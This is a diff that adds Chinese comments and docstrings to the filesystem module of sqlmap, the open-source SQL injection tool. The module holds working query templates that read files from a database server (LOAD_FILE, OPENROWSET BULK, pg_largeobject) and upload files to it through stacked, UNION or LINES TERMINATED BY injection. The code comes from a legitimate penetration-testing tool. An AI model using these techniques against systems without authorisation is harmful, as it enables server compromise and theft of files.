@ -5,320 +5,496 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file ' LICENSE ' for copying permission
"""
import codecs
import os
import sys
from lib . core . agent import agent
from lib . core . common import Backend
from lib . core . common import checkFile
from lib . core . common import dataToOutFile
from lib . core . common import decloakToTemp
from lib . core . common import decodeDbmsHexValue
from lib . core . common import isListLike
from lib . core . common import isNumPosStrValue
from lib . core . common import isStackingAvailable
from lib . core . common import isTechniqueAvailable
from lib . core . common import readInput
from lib . core . compat import xrange
from lib . core . convert import encodeBase64
from lib . core . convert import encodeHex
from lib . core . convert import getText
from lib . core . convert import getUnicode
from lib . core . data import conf
from lib . core . data import kb
from lib . core . data import logger
from lib . core . enums import CHARSET_TYPE
from lib . core . enums import DBMS
from lib . core . enums import EXPECTED
from lib . core . enums import PAYLOAD
from lib . core . exception import SqlmapUndefinedMethod
from lib . core . settings import UNICODE_ENCODING
from lib . request import inject
import codecs # 用于处理不同编码的文本
import os # 用于与操作系统进行交互
import sys # 用于访问与系统相关的参数和函数
from lib . core . agent import agent # 导入 agent 模块,用于与数据库进行交互
from lib . core . common import Backend # 导入 Backend 模块,用于获取数据库信息
from lib . core . common import checkFile # 导入 checkFile 函数,用于检查文件是否存在
from lib . core . common import dataToOutFile # 导入 dataToOutFile 函数,用于将数据写入文件
from lib . core . common import decloakToTemp # 导入 decloakToTemp 函数,用于将伪装的文件名转换为临时文件路径
from lib . core . common import decodeDbmsHexValue # 导入 decodeDbmsHexValue 函数,用于解码数据库的十六进制数据
from lib . core . common import isListLike # 导入 isListLike 函数,用于检查是否为列表类型
from lib . core . common import isNumPosStrValue # 导入 isNumPosStrValue 函数,用于检查是否为正数字符串
from lib . core . common import isStackingAvailable # 导入 isStackingAvailable 函数,用于检查是否支持堆叠查询
from lib . core . common import isTechniqueAvailable # 导入 isTechniqueAvailable 函数,用于检查是否支持某种注入技术
from lib . core . common import readInput # 导入 readInput 函数,用于读取用户输入
from lib . core . compat import xrange # 导入 xrange 函数,用于生成数字序列
from lib . core . convert import encodeBase64 # 导入 encodeBase64 函数,用于进行 Base64 编码
from lib . core . convert import encodeHex # 导入 encodeHex 函数,用于进行十六进制编码
from lib . core . convert import getText # 导入 getText 函数,用于将数据转换为文本
from lib . core . convert import getUnicode # 导入 getUnicode 函数,用于将数据转换为 Unicode
from lib . core . data import conf # 导入 conf 模块,用于获取全局配置信息
from lib . core . data import kb # 导入 kb 模块,用于获取全局知识库信息
from lib . core . data import logger # 导入 logger 模块,用于打印日志信息
from lib . core . enums import CHARSET_TYPE # 导入 CHARSET_TYPE 枚举,用于指定字符集类型
from lib . core . enums import DBMS # 导入 DBMS 枚举,用于指定数据库类型
from lib . core . enums import EXPECTED # 导入 EXPECTED 枚举,用于指定预期的数据类型
from lib . core . enums import PAYLOAD # 导入 PAYLOAD 枚举,用于指定攻击载荷类型
from lib . core . exception import SqlmapUndefinedMethod # 导入 SqlmapUndefinedMethod 异常,用于处理未定义的方法
from lib . core . settings import UNICODE_ENCODING # 导入 UNICODE_ENCODING 变量,用于指定 Unicode 编码
from lib . request import inject # 导入 inject 模块,用于进行 SQL 注入
class Filesystem ( object ) :
"""
This class defines generic OS file system functionalities for plugins .
这个类定义了插件的通用操作系统文件系统功能。
"""
def __init__ ( self ) :
self . fileTblName = " %s file " % conf . tablePrefix
self . tblField = " data "
# 初始化文件表名
self . fileTblName = " %s file " % conf . tablePrefix # 将配置中的表前缀与 "file" 组合,生成表名
# 初始化表字段名
self . tblField = " data " # 设置表字段名为 "data"
def _checkFileLength ( self , localFile , remoteFile , fileRead = False ) :
"""
检查本地文件和远程文件长度是否相同 。
Args :
localFile ( str ) : 本地文件路径
remoteFile ( str ) : 远程文件路径
fileRead ( bool , optional ) : 是否为读取文件操作 . Defaults to False .
Returns :
bool : 如果文件长度相同返回 True , 否则返回 False 。 如果无法判断则返回 None
"""
if Backend . isDbms ( DBMS . MYSQL ) :
lengthQuery = " LENGTH(LOAD_FILE( ' %s ' )) " % remoteFile
# 如果是 MySQL 数据库
lengthQuery = " LENGTH(LOAD_FILE( ' %s ' )) " % remoteFile # 构建获取远程文件长度的 SQL 查询
elif Backend . isDbms ( DBMS . PGSQL ) and not fileRead :
lengthQuery = " SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid= %d " % self . oid
# 如果是 PostgreSQL 数据库且不是读取文件操作
lengthQuery = " SELECT SUM(LENGTH(data)) FROM pg_largeobject WHERE loid= %d " % self . oid # 构建获取大对象长度的 SQL 查询
elif Backend . isDbms ( DBMS . MSSQL ) :
self . createSupportTbl ( self . fileTblName , self . tblField , " VARBINARY(MAX) " )
inject . goStacked ( " INSERT INTO %s ( %s ) SELECT %s FROM OPENROWSET(BULK ' %s ' , SINGLE_BLOB) AS %s ( %s ) " % ( self . fileTblName , self . tblField , self . tblField , remoteFile , self . fileTblName , self . tblField ) )
# 如果是 MSSQL 数据库
self . createSupportTbl ( self . fileTblName , self . tblField , " VARBINARY(MAX) " ) # 创建支持表
inject . goStacked ( " INSERT INTO %s ( %s ) SELECT %s FROM OPENROWSET(BULK ' %s ' , SINGLE_BLOB) AS %s ( %s ) " % ( self . fileTblName , self . tblField , self . tblField , remoteFile , self . fileTblName , self . tblField ) ) # 使用 OPENROWSET 将文件内容插入表中
lengthQuery = " SELECT DATALENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName )
lengthQuery = " SELECT DATALENGTH( %s ) FROM %s " % ( self . tblField , self . fileTblName ) # 构建获取表数据长度的 SQL 查询
try :
localFileSize = os . path . getsize ( localFile )
localFileSize = os . path . getsize ( localFile ) # 获取本地文件大小
except OSError :
warnMsg = " file ' %s ' is missing " % localFile
logger . warning ( warnMsg )
localFileSize = 0
# 如果本地文件不存在
warnMsg = " file ' %s ' is missing " % localFile # 构造警告消息
logger . warning ( warnMsg ) # 打印警告信息
localFileSize = 0 # 将本地文件大小设置为 0
if fileRead and Backend . isDbms ( DBMS . PGSQL ) :
logger . info ( " length of read file ' %s ' cannot be checked on PostgreSQL " % remoteFile )
sameFile = True
# 如果是读取文件操作且是 PostgreSQL 数据库
logger . info ( " length of read file ' %s ' cannot be checked on PostgreSQL " % remoteFile ) # 打印信息,表示 PostgreSQL 无法检查读取文件长度
sameFile = True # 将 sameFile 设置为 True
else :
logger . debug ( " checking the length of the remote file ' %s ' " % remoteFile )
remoteFileSize = inject . getValue ( lengthQuery , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS )
sameFile = None
# 如果不是读取文件或者不是 PostgreSQL 数据库
logger . debug ( " checking the length of the remote file ' %s ' " % remoteFile ) # 打印调试信息,表示正在检查远程文件长度
remoteFileSize = inject . getValue ( lengthQuery , resumeValue = False , expected = EXPECTED . INT , charsetType = CHARSET_TYPE . DIGITS ) # 获取远程文件大小
sameFile = None # 将 sameFile 初始化为 None
if isNumPosStrValue ( remoteFileSize ) :
remoteFileSize = int ( remoteFileSize )
localFile = getUnicode ( localFile , encoding = sys . getfilesystemencoding ( ) or UNICODE_ENCODING )
sameFile = False
# 如果远程文件大小为有效的数字字符串
remoteFileSize = int ( remoteFileSize ) # 将远程文件大小转换为整数
localFile = getUnicode ( localFile , encoding = sys . getfilesystemencoding ( ) or UNICODE_ENCODING ) # 将本地文件路径转换为 Unicode
sameFile = False # 将 sameFile 设置为 False
if localFileSize == remoteFileSize :
sameFile = True
infoMsg = " the local file ' %s ' and the remote file " % localFile
infoMsg + = " ' %s ' have the same size ( %d B) " % ( remoteFile , localFileSize )
# 如果本地文件大小和远程文件大小相同
sameFile = True # 将 sameFile 设置为 True
infoMsg = " the local file ' %s ' and the remote file " % localFile # 构造信息消息
infoMsg + = " ' %s ' have the same size ( %d B) " % ( remoteFile , localFileSize ) # 将远程文件路径和文件大小添加到信息消息中
elif remoteFileSize > localFileSize :
infoMsg = " the remote file ' %s ' is larger ( %d B) than " % ( remoteFile , remoteFileSize )
infoMsg + = " the local file ' %s ' ( %d B) " % ( localFile , localFileSize )
# 如果远程文件大小大于本地文件大小
infoMsg = " the remote file ' %s ' is larger ( %d B) than " % ( remoteFile , remoteFileSize ) # 构造信息消息
infoMsg + = " the local file ' %s ' ( %d B) " % ( localFile , localFileSize ) # 将本地文件路径和文件大小添加到信息消息中
else :
infoMsg = " the remote file ' %s ' is smaller ( %d B) than " % ( remoteFile , remoteFileSize )
infoMsg + = " file ' %s ' ( %d B) " % ( localFile , localFileSize )
# 如果远程文件大小小于本地文件大小
infoMsg = " the remote file ' %s ' is smaller ( %d B) than " % ( remoteFile , remoteFileSize ) # 构造信息消息
infoMsg + = " file ' %s ' ( %d B) " % ( localFile , localFileSize ) # 将本地文件路径和文件大小添加到信息消息中
logger . info ( infoMsg )
logger . info ( infoMsg ) # 打印信息消息
else :
sameFile = False
warnMsg = " it looks like the file has not been written (usually "
warnMsg + = " occurs if the DBMS process user has no write "
warnMsg + = " privileges in the destination path) "
logger . warning ( warnMsg )
# 如果远程文件大小不是有效的数字字符串
sameFile = False # 将 sameFile 设置为 False
warnMsg = " it looks like the file has not been written (usually " # 构造警告消息
warnMsg + = " occurs if the DBMS process user has no write " # 警告消息补充
warnMsg + = " privileges in the destination path) " # 警告消息补充
logger . warning ( warnMsg ) # 打印警告消息
return sameFile
return sameFile # 返回文件长度检查结果
def fileToSqlQueries ( self , fcEncodedList ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back - end DBMS underlying file system
"""
将编码后的文件内容转换为 SQL 查询语句 , 用于 MySQL 和 PostgreSQL 。
Args :
fcEncodedList ( list ) : 编码后的文件内容列表
counter = 0
sqlQueries = [ ]
Returns :
list : SQL 查询语句列表
"""
counter = 0 # 初始化计数器
sqlQueries = [ ] # 初始化 SQL 查询语句列表
for fcEncodedLine in fcEncodedList :
for fcEncodedLine in fcEncodedList : # 遍历编码后的文件内容列表
if counter == 0 :
# 如果是第一个编码行
sqlQueries . append ( " INSERT INTO %s ( %s ) VALUES ( %s ) " % ( self . fileTblName , self . tblField , fcEncodedLine ) )
# 将带有编码数据的插入语句添加到 SQL 查询列表中
else :
# 如果不是第一个编码行
updatedField = agent . simpleConcatenate ( self . tblField , fcEncodedLine )
# 构建更新语句,将编码行添加到数据字段中
sqlQueries . append ( " UPDATE %s SET %s = %s " % ( self . fileTblName , self . tblField , updatedField ) )
# 将更新语句添加到 SQL 查询列表中
counter + = 1
counter + = 1 # 计数器加 1
return sqlQueries
return sqlQueries # 返回 SQL 查询语句列表
def fileEncode ( self , fileName , encoding , single , chunkSize = 256 ) :
"""
Called by MySQL and PostgreSQL plugins to write a file on the
back - end DBMS underlying file system
"""
读取文件内容 , 并进行编码 。
Args :
fileName ( str ) : 文件路径
encoding ( str ) : 编码方式 , 例如 " hex " 、 " base64 " 或其他编码
single ( bool ) : 是否将所有内容编码为单行
chunkSize ( int , optional ) : 分块大小 . Defaults to 256.
checkFile ( fileName )
Returns :
list : 编码后的文件内容列表
"""
checkFile ( fileName ) # 检查文件是否存在
with open ( fileName , " rb " ) as f :
content = f . read ( )
# 打开文件进行读取
content = f . read ( ) # 读取文件内容
return self . fileContentEncode ( content , encoding , single , chunkSize )
return self . fileContentEncode ( content , encoding , single , chunkSize ) # 返回编码后的文件内容
def fileContentEncode ( self , content , encoding , single , chunkSize = 256 ) :
retVal = [ ]
"""
对文件内容进行编码 。
Args :
content ( bytes ) : 文件内容
encoding ( str ) : 编码方式 , 例如 " hex " 、 " base64 " 或其他编码
single ( bool ) : 是否将所有内容编码为单行
chunkSize ( int , optional ) : 分块大小 . Defaults to 256.
Returns :
list : 编码后的文件内容列表
"""
retVal = [ ] # 初始化返回列表
if encoding == " hex " :
content = encodeHex ( content )
# 如果编码方式为 "hex"
content = encodeHex ( content ) # 将文件内容进行十六进制编码
elif encoding == " base64 " :
content = encodeBase64 ( content )
# 如果编码方式为 "base64"
content = encodeBase64 ( content ) # 将文件内容进行 Base64 编码
else :
content = codecs . encode ( content , encoding )
# 如果编码方式不是 "hex" 或 "base64"
content = codecs . encode ( content , encoding ) # 使用指定的编码方式进行编码
content = getText ( content ) . replace ( " \n " , " " )
content = getText ( content ) . replace ( " \
" , " " ) # 将编码后的内容转换为文本,并删除换行符
if not single :
# 如果不是单行编码
if len ( content ) > chunkSize :
# 如果内容长度大于分块大小
for i in xrange ( 0 , len ( content ) , chunkSize ) :
_ = content [ i : i + chunkSize ]
# 按照分块大小进行分块
_ = content [ i : i + chunkSize ] # 获取当前分块
if encoding == " hex " :
_ = " 0x %s " % _
# 如果编码方式为 "hex"
_ = " 0x %s " % _ # 添加十六进制前缀
elif encoding == " base64 " :
_ = " ' %s ' " % _
# 如果编码方式为 "base64"
_ = " ' %s ' " % _ # 添加单引号
retVal . append ( _ )
retVal . append ( _ ) # 将当前分块添加到返回列表中
if not retVal :
# 如果返回列表为空
if encoding == " hex " :
content = " 0x %s " % content
# 如果编码方式为 "hex"
content = " 0x %s " % content # 添加十六进制前缀
elif encoding == " base64 " :
content = " ' %s ' " % content
# 如果编码方式为 "base64"
content = " ' %s ' " % content # 添加单引号
retVal = [ content ]
retVal = [ content ] # 将编码后的内容添加到返回列表中
return retVal
return retVal # 返回编码后的文件内容列表
def askCheckWrittenFile ( self , localFile , remoteFile , forceCheck = False ) :
choice = None
"""
询问用户是否需要检查写入的文件 。
Args :
localFile ( str ) : 本地文件路径
remoteFile ( str ) : 远程文件路径
forceCheck ( bool , optional ) : 是否强制检查 . Defaults to False .
Returns :
bool : 如果文件写入成功返回 True , 如果用户选择不检查返回 True , 否则返回 False
"""
choice = None # 初始化用户选择
if forceCheck is not True :
message = " do you want confirmation that the local file ' %s ' " % localFile
message + = " has been successfully written on the back-end DBMS "
message + = " file system ( ' %s ' )? [Y/n] " % remoteFile
choice = readInput ( message , default = ' Y ' , boolean = True )
# 如果不强制检查
message = " do you want confirmation that the local file ' %s ' " % localFile # 构造询问消息
message + = " has been successfully written on the back-end DBMS " # 消息补充
message + = " file system ( ' %s ' )? [Y/n] " % remoteFile # 消息补充
choice = readInput ( message , default = ' Y ' , boolean = True ) # 读取用户输入
if forceCheck or choice :
return self . _checkFileLength ( localFile , remoteFile )
# 如果强制检查或者用户选择检查
return self . _checkFileLength ( localFile , remoteFile ) # 调用检查文件长度函数
return True
return True # 如果用户选择不检查,则返回 True
def askCheckReadFile ( self , localFile , remoteFile ) :
"""
询问用户是否需要检查读取的文件 。
Args :
localFile ( str ) : 本地文件路径
remoteFile ( str ) : 远程文件路径
Returns :
bool : 如果文件读取成功返回 True , 如果用户选择不检查返回 None
"""
if not kb . bruteMode :
message = " do you want confirmation that the remote file ' %s ' " % remoteFile
message + = " has been successfully downloaded from the back-end "
message + = " DBMS file system? [Y/n] "
# 如果不是爆破模式
message = " do you want confirmation that the remote file ' %s ' " % remoteFile # 构造询问消息
message + = " has been successfully downloaded from the back-end " # 消息补充
message + = " DBMS file system? [Y/n] " # 消息补充
if readInput ( message , default = ' Y ' , boolean = True ) :
return self . _checkFileLength ( localFile , remoteFile , True )
# 读取用户输入
return self . _checkFileLength ( localFile , remoteFile , True ) # 如果用户选择检查,调用检查文件长度函数
return None
return None # 如果用户选择不检查,则返回 None
def nonStackedReadFile ( self , remoteFile ) :
errMsg = " ' nonStackedReadFile ' method must be defined "
errMsg + = " into the specific DBMS plugin "
raise SqlmapUndefinedMethod ( errMsg )
"""
使用非堆叠查询技术读取远程文件 , 需要在子类中实现 。
Args :
remoteFile ( str ) : 远程文件路径
Raises :
SqlmapUndefinedMethod : 如果没有在子类中实现该方法 , 则抛出该异常
"""
errMsg = " ' nonStackedReadFile ' method must be defined " # 构造错误消息
errMsg + = " into the specific DBMS plugin " # 错误消息补充
raise SqlmapUndefinedMethod ( errMsg ) # 抛出 SqlmapUndefinedMethod 异常
def stackedReadFile ( self , remoteFile ) :
errMsg = " ' stackedReadFile ' method must be defined "
errMsg + = " into the specific DBMS plugin "
raise SqlmapUndefinedMethod ( errMsg )
"""
使用堆叠查询技术读取远程文件 , 需要在子类中实现 。
Args :
remoteFile ( str ) : 远程文件路径
Raises :
SqlmapUndefinedMethod : 如果没有在子类中实现该方法 , 则抛出该异常
"""
errMsg = " ' stackedReadFile ' method must be defined " # 构造错误消息
errMsg + = " into the specific DBMS plugin " # 错误消息补充
raise SqlmapUndefinedMethod ( errMsg ) # 抛出 SqlmapUndefinedMethod 异常
def unionWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
errMsg = " ' unionWriteFile ' method must be defined "
errMsg + = " into the specific DBMS plugin "
raise SqlmapUndefinedMethod ( errMsg )
"""
使用 UNION 查询技术写入文件 , 需要在子类中实现 。
Args :
localFile ( str ) : 本地文件路径
remoteFile ( str ) : 远程文件路径
fileType ( str ) : 文件类型
forceCheck ( bool , optional ) : 是否强制检查 . Defaults to False .
Raises :
SqlmapUndefinedMethod : 如果没有在子类中实现该方法 , 则抛出该异常
"""
errMsg = " ' unionWriteFile ' method must be defined " # 构造错误消息
errMsg + = " into the specific DBMS plugin " # 错误消息补充
raise SqlmapUndefinedMethod ( errMsg ) # 抛出 SqlmapUndefinedMethod 异常
def stackedWriteFile ( self , localFile , remoteFile , fileType , forceCheck = False ) :
errMsg = " ' stackedWriteFile ' method must be defined "
errMsg + = " into the specific DBMS plugin "
raise SqlmapUndefinedMethod ( errMsg )
"""
使用堆叠查询技术写入文件 , 需要在子类中实现 。
Args :
localFile ( str ) : 本地文件路径
remoteFile ( str ) : 远程文件路径
fileType ( str ) : 文件类型
forceCheck ( bool , optional ) : 是否强制检查 . Defaults to False .
Raises :
SqlmapUndefinedMethod : 如果没有在子类中实现该方法 , 则抛出该异常
"""
errMsg = " ' stackedWriteFile ' method must be defined " # 构造错误消息
errMsg + = " into the specific DBMS plugin " # 错误消息补充
raise SqlmapUndefinedMethod ( errMsg ) # 抛出 SqlmapUndefinedMethod 异常
def readFile ( self , remoteFile ) :
localFilePaths = [ ]
"""
读取远程文件 。
Args :
remoteFile ( str ) : 远程文件路径
Returns :
list : 本地文件路径列表
"""
localFilePaths = [ ] # 初始化本地文件路径列表
self . checkDbmsOs ( )
self . checkDbmsOs ( ) # 检查数据库类型和操作系统类型
for remoteFile in remoteFile . split ( ' , ' ) :
fileContent = None
kb . fileReadMode = True
# 遍历所有远程文件路径
fileContent = None # 初始化文件内容
kb . fileReadMode = True # 设置文件读取模式为 True
if conf . direct or isStackingAvailable ( ) :
# 如果使用直接连接或支持堆叠查询
if isStackingAvailable ( ) :
debugMsg = " going to try to read the file with stacked query SQL "
debugMsg + = " injection technique "
logger . debug ( debugMsg )
# 如果支持堆叠查询
debugMsg = " going to try to read the file with stacked query SQL " # 构造调试消息
debugMsg + = " injection technique " # 调试消息补充
logger . debug ( debugMsg ) # 打印调试消息
fileContent = self . stackedReadFile ( remoteFile )
fileContent = self . stackedReadFile ( remoteFile ) # 使用堆叠查询技术读取文件
elif Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to try to read the file with non-stacked query "
debugMsg + = " SQL injection technique "
logger . debug ( debugMsg )
# 如果是 MySQL 数据库
debugMsg = " going to try to read the file with non-stacked query " # 构造调试消息
debugMsg + = " SQL injection technique " # 调试消息补充
logger . debug ( debugMsg ) # 打印调试消息
fileContent = self . nonStackedReadFile ( remoteFile )
fileContent = self . nonStackedReadFile ( remoteFile ) # 使用非堆叠查询技术读取文件
else :
errMsg = " none of the SQL injection techniques detected can "
errMsg + = " be used to read files from the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
logger . error ( errMsg )
# 如果无法使用以上技术读取文件
errMsg = " none of the SQL injection techniques detected can " # 构造错误消息
errMsg + = " be used to read files from the underlying file " # 错误消息补充
errMsg + = " system of the back-end %s server " % Backend . getDbms ( ) # 错误消息补充
logger . error ( errMsg ) # 打印错误消息
fileContent = None
fileContent = None # 将文件内容设置为 None
kb . fileReadMode = False
kb . fileReadMode = False # 设置文件读取模式为 False
if fileContent in ( None , " " ) and not Backend . isDbms ( DBMS . PGSQL ) :
self . cleanup ( onlyFileTbl = True )
# 如果文件内容为空并且不是 PostgreSQL 数据库
self . cleanup ( onlyFileTbl = True ) # 清理文件表
elif isListLike ( fileContent ) :
newFileContent = " "
# 如果文件内容是一个列表
newFileContent = " " # 初始化新的文件内容
for chunk in fileContent :
# 遍历文件内容中的块
if isListLike ( chunk ) :
# 如果块本身是一个列表
if len ( chunk ) > 0 :
chunk = chunk [ 0 ]
# 如果块列表不为空
chunk = chunk [ 0 ] # 获取块列表的第一个元素
else :
chunk = " "
# 如果块列表为空
chunk = " " # 将块设置为空字符串
if chunk :
newFileContent + = chunk
# 如果块不为空
newFileContent + = chunk # 将块添加到新的文件内容中
fileContent = newFileContent
fileContent = newFileContent # 将新的文件内容赋值给 fileContent
if fileContent is not None :
fileContent = decodeDbmsHexValue ( fileContent , True )
# 如果文件内容不为空
fileContent = decodeDbmsHexValue ( fileContent , True ) # 解码文件内容
if fileContent . strip ( ) :
localFilePath = dataToOutFile ( remoteFile , fileContent )
# 如果文件内容不为空
localFilePath = dataToOutFile ( remoteFile , fileContent ) # 将文件内容写入本地文件
if not Backend . isDbms ( DBMS . PGSQL ) :
self . cleanup ( onlyFileTbl = True )
# 如果不是 PostgreSQL 数据库
self . cleanup ( onlyFileTbl = True ) # 清理文件表
sameFile = self . askCheckReadFile ( localFilePath , remoteFile )
sameFile = self . askCheckReadFile ( localFilePath , remoteFile ) # 询问用户是否需要检查读取的文件
if sameFile is True :
localFilePath + = " (same file) "
# 如果文件相同
localFilePath + = " (same file) " # 添加 (same file) 后缀
elif sameFile is False :
localFilePath + = " (size differs from remote file) "
# 如果文件大小不同
localFilePath + = " (size differs from remote file) " # 添加 (size differs from remote file) 后缀
localFilePaths . append ( localFilePath )
localFilePaths . append ( localFilePath ) # 将本地文件路径添加到列表中
elif not kb . bruteMode :
errMsg = " no data retrieved "
logger . error ( errMsg )
# 如果文件内容为空并且不是爆破模式
errMsg = " no data retrieved " # 构造错误消息
logger . error ( errMsg ) # 打印错误消息
return localFilePaths
return localFilePaths # 返回本地文件路径列表
def writeFile ( self , localFile , remoteFile , fileType = None , forceCheck = False ) :
written = False
"""
写入本地文件到远程服务器 。
Args :
localFile ( str ) : 本地文件路径
remoteFile ( str ) : 远程文件路径
fileType ( str , optional ) : 文件类型 . Defaults to None .
forceCheck ( bool , optional ) : 是否强制检查文件长度 . Defaults to False .
Returns :
bool : 如果文件写入成功 , 则返回 True ; 否则返回 False 。
"""
written = False # 初始化写入状态
checkFile ( localFile )
checkFile ( localFile ) # 检查本地文件是否存在
self . checkDbmsOs ( )
self . checkDbmsOs ( ) # 检查数据库类型和操作系统类型
if localFile . endswith ( ' _ ' ) :
localFile = getUnicode ( decloakToTemp ( localFile ) )
# 如果本地文件名以 '_' 结尾
localFile = getUnicode ( decloakToTemp ( localFile ) ) # 将伪装的文件名转换为临时文件路径
if conf . direct or isStackingAvailable ( ) :
# 如果使用直接连接或者支持堆叠查询技术
if isStackingAvailable ( ) :
debugMsg = " going to upload the file ' %s ' with " % fileType
debugMsg + = " stacked query technique "
logger . debug ( debugMsg )
# 如果支持堆叠查询技术
debugMsg = " going to upload the file ' %s ' with " % fileType # 构造调试消息
debugMsg + = " stacked query technique " # 调试消息补充
logger . debug ( debugMsg ) # 打印调试信息
written = self . stackedWriteFile ( localFile , remoteFile , fileType , forceCheck )
self . cleanup ( onlyFileTbl = True )
written = self . stackedWriteFile ( localFile , remoteFile , fileType , forceCheck ) # 使用堆叠查询技术写入文件
self . cleanup ( onlyFileTbl = True ) # 清理临时表
elif isTechniqueAvailable ( PAYLOAD . TECHNIQUE . UNION ) and Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to upload the file ' %s ' with " % fileType
debugMsg + = " UNION query technique "
logger . debug ( debugMsg )
# 如果支持 UNION 查询技术并且是 MySQL 数据库
debugMsg = " going to upload the file ' %s ' with " % fileType # 构造调试信息
debugMsg + = " UNION query technique " # 调试消息补充
logger . debug ( debugMsg ) # 打印调试信息
written = self . unionWriteFile ( localFile , remoteFile , fileType , forceCheck )
written = self . unionWriteFile ( localFile , remoteFile , fileType , forceCheck ) # 使用 UNION 查询技术写入文件
elif Backend . isDbms ( DBMS . MYSQL ) :
debugMsg = " going to upload the file ' %s ' with " % fileType
debugMsg + = " LINES TERMINATED BY technique "
logger . debug ( debugMsg )
# 如果是 MySQL 数据库
debugMsg = " going to upload the file ' %s ' with " % fileType # 构造调试信息
debugMsg + = " LINES TERMINATED BY technique " # 调试消息补充
logger . debug ( debugMsg ) # 打印调试信息
written = self . linesTerminatedWriteFile ( localFile , remoteFile , fileType , forceCheck )
written = self . linesTerminatedWriteFile ( localFile , remoteFile , fileType , forceCheck ) # 使用 LINES TERMINATED BY 技术写入文件
else :
errMsg = " none of the SQL injection techniques detected can "
errMsg + = " be used to write files to the underlying file "
errMsg + = " system of the back-end %s server " % Backend . getDbms ( )
logger . error ( errMsg )
# 如果以上技术都无法使用
errMsg = " none of the SQL injection techniques detected can " # 构造错误消息
errMsg + = " be used to write files to the underlying file " # 错误消息补充
errMsg + = " system of the back-end %s server " % Backend . getDbms ( ) # 错误消息补充
logger . error ( errMsg ) # 打印错误消息
return None
return None # 返回 None
return written
return written # 返回写入状态